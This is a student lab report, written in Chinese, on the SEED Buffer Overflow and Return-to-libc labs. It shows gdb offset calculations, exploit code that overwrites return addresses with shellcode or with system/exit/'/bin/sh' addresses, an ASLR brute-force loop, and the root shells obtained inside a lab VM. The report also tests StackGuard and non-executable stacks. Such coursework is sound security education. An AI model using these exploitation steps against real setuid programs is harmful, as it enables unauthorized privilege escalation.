实验2 57117134-张家康

2.1 Buffer Overflow Vulnerablility Lab

- ### Turning Off Countermeasures

将试验手册给的代码输入终端，关闭应对措施，如下图所示：

```
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~$ 
```

- ### Task 1: Running Shellcode

首先，运行手册给的第一份代码，命名为T1.c，并编译为T1，运行后成功调用了shell，如下图所示：

```
[09/04/20]seed@VM:~/.../T1$ gcc -o T1 T1.c
T1.c: In function ‘main’:
T1.c:6:1: warning: implicit declaration of function ‘execve’ [-Wimplicit-functio
n-declaration]
 execve(name[0], name,NULL);
 ^
[09/04/20]seed@VM:~/.../T1$ T1
$ exit
[09/04/20]seed@VM:~/.../T1$ 
```

然后，运行手册中给的第二份代码，命名为**call_shellcode.c**，并编译为**call_shellcode**，运行后成功调用了shell，如下图所示：

```
[09/04/20]seed@VM:~/.../T1$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/04/20]seed@VM:~/.../T1$ call_shellcode
$ exit
[09/04/20]seed@VM:~/.../T1$
```

- ### Task 2: Exploiting the Vulnerability

首先，将手册中的第一部分代码复制命名为**stack.c**，编译，保持默认的大小**24**，然后修改权限为root所有的set-UID程序。如下图所示：

```
[09/04/20]seed@VM:~/.../T2$ gcc -g -o stack -z execstack -fno-stack-protector st
ack.c
[09/04/20]seed@VM:~/.../T2$ sudo chown root stack
[09/04/20]seed@VM:~/.../T2$ sudo chmod 4755 stack
```

使用gdb，在stack中的bof前加入断点（使用**b bof**），找到**ebp和buffer的地址**，计算二者之间的距离为**32**，如下图所示：

```
Breakpoint 1, bof (str=0xbfffeb77 'A' <repeats 36 times>, "\302\353\377\277")
    at stack.c:17
17	    strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb38
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeb18
gdb-peda$ p /d 0xbfffeb38 - 0xbfffeb18
$3 = 32
gdb-peda$
```

所以，返回地址和buffer的其实位置相差36个字节，将buffer的第36-40位构造为shellcode的地址值。

本次实验中，buffer的首地址是$0xbfffeb18$，返回地址是$0xbfffeb3c$，所以可以构造为：

```
// 0xbfffeb3c + 96(非固定) = 0xbfffeb9c
buffer[39]=0xbf;
buffer[38]=0xff;
buffer[37]=0xeb;
buffer[36]=0x9c;
```

再将shellcode复制到合适的地址（确保返回地址在shellcode地址和buffer首地址之间）：

```
int start = 517 - sizeof(shellcode)/sizeof(char);
strcpy(buffer+start, shellcode);
```

综上，在exploit.c中需要更改的部分代码为：

```
/* You need to fill the buffer with appropriate contents here */
/* ... Put your code here ... */
buffer[39]=0xbf;
buffer[38]=0xff;
buffer[37]=0xeb;
buffer[36]=0x9c;

int start = 517 - sizeof(shellcode)/sizeof(char);
strcpy(buffer+start, shellcode);
```

编译exploit.c，并运行exploit和stack，成功获取到root权限，如下图所示：

```
[09/04/20]seed@VM:~/.../T2$ gcc -g -o exploit exploit.c
[09/04/20]seed@VM:~/.../T2$ ./exploit
[09/04/20]seed@VM:~/.../T2$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
[09/04/20]seed@VM:~/.../T2$
```

Task 3: Defeating dash’s Countermeasure

使用setUID测试dash，将sh指向dash，编译手册中的代码，然后将程序改为root的setUID程序。运行程序，发现提权失败，如下图所示：

```
[09/04/20]seed@VM:~/.../T3$ sudo ln -sf /bin/dash /bin/sh
[09/04/20]seed@VM:~/.../T3$ ll /bin/sh
lrwxrwxrwx 1 root root 9 Sep  4 07:59 /bin/sh -> /bin/dash
[09/04/20]seed@VM:~/.../T3$ gcc dash_shell_test.c -o dash_shell_test
[09/04/20]seed@VM:~/.../T3$ sudo chown root dash_shell_test
[09/04/20]seed@VM:~/.../T3$ sudo chmod 4755 dash_shell_test
[09/04/20]seed@VM:~/.../T3$ dash_shell_test
$ whoami
seed
$ exit
```

将代码中的setUID取消注释后再次编译修改所有权，运行，成功提权。如下图所示：

```
[09/04/20]seed@VM:~/.../T3$ gcc dash_shell_test.c -o dash_shell_test
[09/04/20]seed@VM:~/.../T3$ sudo chown root dash_shell_test
[09/04/20]seed@VM:~/.../T3$ sudo chmod 4755 dash_shell_test
[09/04/20]seed@VM:~/.../T3$ dash_shell_test
# whoami
root
# exit
```

Task 4: Defeating Address Randomization

用sudo /sbin/sysctl -w kernel.randomize_va_space=2启用地址随机化。

复制手册代码，写一个t4.sh，运行，进行暴力攻击，用次数击破地址的随机化，这里需要把returnaddress的偏移值调大一点，增加暴力破解的成功几率，在运行了2万多次之后成功获取shell.

```
kerıThe program has been running 112489 times so far.
[09,t4.sh: line 17: 21705 Segmentation fault      ./stack
[09,5 minutes and 7 seconds elapsed.
[09,The program has been running 112490 times so far.
*** t4.sh: line 17: 21706 Segmentation fault      ./stack
Abo 5 minutes and 7 seconds elapsed.
[09,The program has been running 112491 times so far.
    t4.sh: line 17: 21707 Segmentation fault      ./stack
    5 minutes and 7 seconds elapsed.
    The program has been running 112492 times so far.
    t4.sh: line 17: 21708 Segmentation fault      ./stack
    5 minutes and 7 seconds elapsed.
    The program has been running 112493 times so far.
    t4.sh: line 17: 21709 Segmentation fault      ./stack
    5 minutes and 7 seconds elapsed.
    The program has been running 112494 times so far.
    $
```

- ## Task 5: Turn on the StackGuard Protection

去除-fno-stack-protector重新编译stack，运行时出现会检测到栈被破坏，程序abort异常退出。

```
[09/04/20]seed@VM:~/.../T5$ gcc -o stack_5 -z execstack stack.c
[09/04/20]seed@VM:~/.../T5$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~/.../T5$ sudo chown root stack_5
[09/04/20]seed@VM:~/.../T5$ sudo chmod 4755 stack_5
[09/04/20]seed@VM:~/.../T5$ stack_5
*** stack smashing detected ***: stack_5 terminated
Aborted
[09/04/20]seed@VM:~/.../T5$
```

- ## Task 6: Turn on the Non-executable Stack Protection

启用栈不可执行编译程序，运行后出现segmentation fault，内存访问错误，如下图所示：

```
[09/04/20]seed@VM:~/.../T2$ gcc -o stack_6 -fno-stack-protector -z noexecstack
tack.c
[09/04/20]seed@VM:~/.../T2$ sudo chown root stack_6
[09/04/20]seed@VM:~/.../T2$ sudo chmod 4755 stack_6
[09/04/20]seed@VM:~/.../T2$ stack_6
Segmentation fault
[09/04/20]seed@VM:~/.../T2$
```

2.2 Return-to-libc Attack Lab

• Task 1: Finding out address of libc functions

将手册中的代码复制为**retlib** **.c**文件，使用以下方式编译，并设为root的setUID程序：

```
[09/04/20]seed@VM:~/.../T7$ gcc -DBUF_SIZE=24 -fno-stack-protector -z no
tack -o retlib retlib.c
[09/04/20]seed@VM:~/.../T7$ sudo chown root retlib
[09/04/20]seed@VM:~/.../T7$ sudo chmod 4755 retlib
```

使用GDB调试 retlib ，运行（run）后使用 p system 和 p exit 查看 system 和 exit 的地址，得到的结果如下图所示：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7dbfda0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7db39d0 <__GI_exit>
```

从中可以看到， system 的地址为0xb7dbfda0 ， exit 的地址为 0xb7db39d0 。

• Task 2: Putting the shell string in the memory

将**MYSHELL**设置为环境变量，值为“**/bin/sh**”，如下图所示：

```
[09/04/20]seed@VM:~/.../T7$ export MYSHELL=/bin/sh
[09/04/20]seed@VM:~/.../T7$ env | grep MYSHELL
MYSHELL=/bin/sh
```

将手册上的代码复制为文件putshe.c，编译并运行，得到**/bin/sh**的地址，如下图所示：

```
[09/04/20]seed@VM:~/.../T7$ gcc -o putshe putshe.c
putshe.c: In function ‘main’:
putshe.c:2:15: warning: implicit declaration of function ‘getenv’ [-Wimplicit
-function-declaration]
 char* shell = getenv("MYSHELL");
               ^
putshe.c:2:15: warning: initialization makes pointer from integer without a c
ast [-Wint-conversion]
putshe.c:4:1: warning: implicit declaration of function ‘printf’ [-Wimplicit-
function-declaration]
 printf("%x\n", (unsigned int)shell);
 ^
putshe.c:4:1: warning: incompatible implicit declaration of built-in function
 ‘printf’
putshe.c:4:1: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
[09/04/20]seed@VM:~/.../T7$ putshe
bffffe1c
[09/04/20]seed@VM:~/.../T7$ 
```

• Task 3: Exploiting the buffer-overflow vulnerability

首先使用gdb retlib查看函数的ebp和buffer地址的距离：

```
[09/04/20]seed@VM:~/.../T7$ gcc -DBUF_SIZE=24 -fno-stack-protector -z noexecs
tack -g -o retlib retlib.c
[09/04/20]seed@VM:~/.../T7$ sudo chown root retlib
[09/04/20]seed@VM:~/.../T7$ sudo chmod 4755 retlib
[09/04/20]seed@VM:~/.../T7$ gdb retlib
```

```
Breakpoint 1, bof (badfile=0x804b008) at retlib.c:16
16        fread(buffer, sizeof(char), 300, badfile);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffecb8
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffec98
gdb-peda$ p/d 0xbfffecb8 - 0xbfffec98
$3 = 32
gdb-peda$
```

由上图可知，ebp和buffer地址的距离为32，所以返回地址与buffer地址的距离为$32+4=36$。

所以我们可以确定以下代码：

```
*(long *) &buf[36] = 0xb7dbfda0 ; // system()
*(long *) &buf[40] = 0xb7db39d0 ; // exit()
*(long *) &buf[44] = 0xbffffe1c ; // "/bin/sh"
```

分别运行exploit和retlib，得到结果如下图所示：

```
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
```

- **Attack variation 1**

去掉 exit 的地址，也就是将 buf 中249-252这4个字节设为0，再次运行 retlib：

```
[09/04/20]seed@VM:~/.../T7$ retlib
Segmentation fault
```

- **Attack variation 2**

将 retlib 重命名为 newretlib ，再次运行：

```
[09/04/20]seed@VM:~/.../T7$ retlib
Segmentation fault
```

Task 4: Turning on address randomization

将 kernel.randomize_va_space 设置为2，开启堆栈的ASLR之后，再次运行 retlib ，发生段错误，结果如下图所示：

```
[09/04/20]seed@VM:~/.../T7$ ./retlib
Segmentation fault
[09/04/20]seed@VM:~/.../T7$
```

尝试分析原因：

首先，开启ASLR之后， "/bin/sh"的地址不再确定，如下图所示：

```
Segmentation fault
[09/04/20]seed@VM:~/.../T7$ putshe
bfd7ae1c
[09/04/20]seed@VM:~/.../T7$ putshe
bfc19e1c
[09/04/20]seed@VM:~/.../T7$ putshe
bf98ee1c
[09/04/20]seed@VM:~/.../T7$
```

其次，system和exit的地址，也不再确定，如下图所示：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb75a9da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb759d9d0 <__GI_exit>
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb763bda0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb762f9d0 <__GI_exit>
```